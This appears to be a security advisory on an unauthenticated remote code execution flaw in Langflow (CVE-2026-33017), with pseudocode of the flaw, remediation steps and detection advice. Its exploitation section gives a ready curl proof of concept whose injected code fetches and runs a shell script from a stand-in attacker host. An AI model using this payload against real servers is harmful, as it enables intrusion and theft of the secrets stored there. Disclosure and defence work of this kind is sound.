CVE-2026-33017: Langflow Unauthenticated RCE

An unauthenticated endpoint designed to build public AI flows accepted attacker-controlled Python code and passed it directly to exec() with no sandboxing — exploited in the wild within 20 hours of the advisory going public.

Overview

Langflow is one of the most widely-adopted open-source AI workflow orchestration platforms, with over 79,000 GitHub stars and heavy enterprise adoption for building and deploying LLM-powered pipelines. In March 2026, a critical unauthenticated remote code execution vulnerability was disclosed as CVE-2026-33017.

The root cause is a design-implementation mismatch in a public-facing API endpoint: the endpoint is intentionally unauthenticated (by design, for public flow sharing), but it incorrectly accepts attacker-supplied flow definitions containing arbitrary Python code, which are then passed to Python's built-in exec() with zero sandboxing. The result is unauthenticated remote code execution with a single HTTP request.

Cloud security firm Sysdig confirmed active exploitation within 20 hours of the advisory's publication on 17 March 2026 — one of the fastest weaponisation timelines observed in recent memory for a web application vulnerability of this class.

The Vulnerable Endpoint

The flaw lives in the following API route:

POST /api/v1/build_public_tmp/{flow_id}/flow

This endpoint is designed to build and execute a public flow — that is, a flow that has been shared publicly without requiring authentication to run. The intention is to allow users to publish flows that anyone can trigger, for legitimate use cases like embedding AI tools in public-facing applications.

The Design vs. Implementation Gap

The endpoint is correctly unauthenticated by design. The critical failure is that it accepts an optional data parameter in the request body. When this parameter is present, instead of loading the stored, server-side flow definition from the database (which would be safe), the server uses the attacker-supplied flow data from the request body.

Langflow flow definitions can contain arbitrary Python code in custom component nodes. That code is executed via Python's exec() — and in this code path, no sandboxing, allowlisting, or validation is applied to attacker-controlled input before execution.

# Simplified pseudocode of the vulnerable behaviour
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_flow(flow_id: str, data: Optional[FlowData] = None):
    if data:
        flow = data          # attacker-controlled
    else:
        flow = db.get(flow_id)  # safe: server-side stored flow
    execute_flow(flow)       # calls exec() on component code — no sandbox

Exploitation

The exploit is described by researchers as "extremely easy" — a single curl command is sufficient. An attacker crafts a JSON payload containing a malicious Langflow node definition with arbitrary Python in the component code field, then POSTs it to the public build endpoint with any valid (or even non-existent) flow_id:

curl -s -X POST \
  https://langflow.target.corp/api/v1/build_public_tmp/any-id/flow \
  -H 'Content-Type: application/json' \
  -d '{
    "data": {
      "nodes": [{
        "data": {
          "type": "CustomComponent",
          "node": {
            "template": {
              "code": {
                "value": "import os\nos.system(\"curl attacker.com/shell.sh | bash\")"
              }
            }
          }
        }
      }]
    }
  }'

No authentication token required. No prior knowledge of a valid flow ID required. No interaction from a legitimate user required.

Why the AI Tooling Attack Surface Matters

This vulnerability is significant beyond its technical details. Langflow deployments frequently run in environments with privileged access to LLM APIs, internal databases, document stores, and business-critical data pipelines. An RCE in Langflow is often an RCE in the middle of an organisation's AI infrastructure — with direct access to API keys, model endpoints, and the data they process.

The rapid weaponisation timeline is also a signal. Langflow's GitHub star count and enterprise adoption make it an attractive target — researchers and threat actors alike monitor popular open-source AI projects closely. The 20-hour window between advisory and active exploitation should recalibrate expectations for patching timelines in AI tooling.

Affected Versions

All versions of Langflow up to and including 1.8.1

The fix is available in Langflow 1.8.2 and above. The correct fix removes the data parameter from the public endpoint entirely — public flows can only execute their stored, server-side flow definitions, never attacker-supplied content.

Remediation

Upgrade to Langflow 1.8.2 or later immediately. This is the only complete fix.
If upgrading is not immediately possible, disable or firewall the /api/v1/build_public_tmp/ endpoint at the network perimeter.
Restrict Langflow to internal networks only — it should not be exposed directly to the internet in any configuration that allows public flow execution without strict input validation.
Rotate all API keys and secrets stored in or accessible from the Langflow environment.
Review server logs for POST requests to /api/v1/build_public_tmp/ from unexpected source IPs dating back to 17 March 2026.

Detection

Hunt for the following in application and web server access logs:

POST requests to any path matching /api/v1/build_public_tmp/*/flow from external IP addresses.
Request bodies containing "CustomComponent" or "code" fields in the data parameter on that endpoint.
Unexpected outbound connections from the Langflow process to external hosts — particularly on ports 80, 443, or common reverse shell ports.
New process spawns from the Langflow Python process (look for bash, sh, python3 children).

The Broader Pattern: exec() and AI Platforms

The use of Python's exec() for executing user-defined AI flow components is not unique to Langflow. Several popular AI orchestration frameworks follow a similar pattern for extensibility. This vulnerability should prompt a broader audit of how AI pipeline platforms handle user-supplied code — particularly on endpoints with reduced or absent authentication requirements. Dynamic code execution in server-side Python is a high-risk design choice that demands thorough sandboxing (e.g. RestrictedPython, isolated subprocesses, or container-level isolation) before it is exposed to any user-controlled input.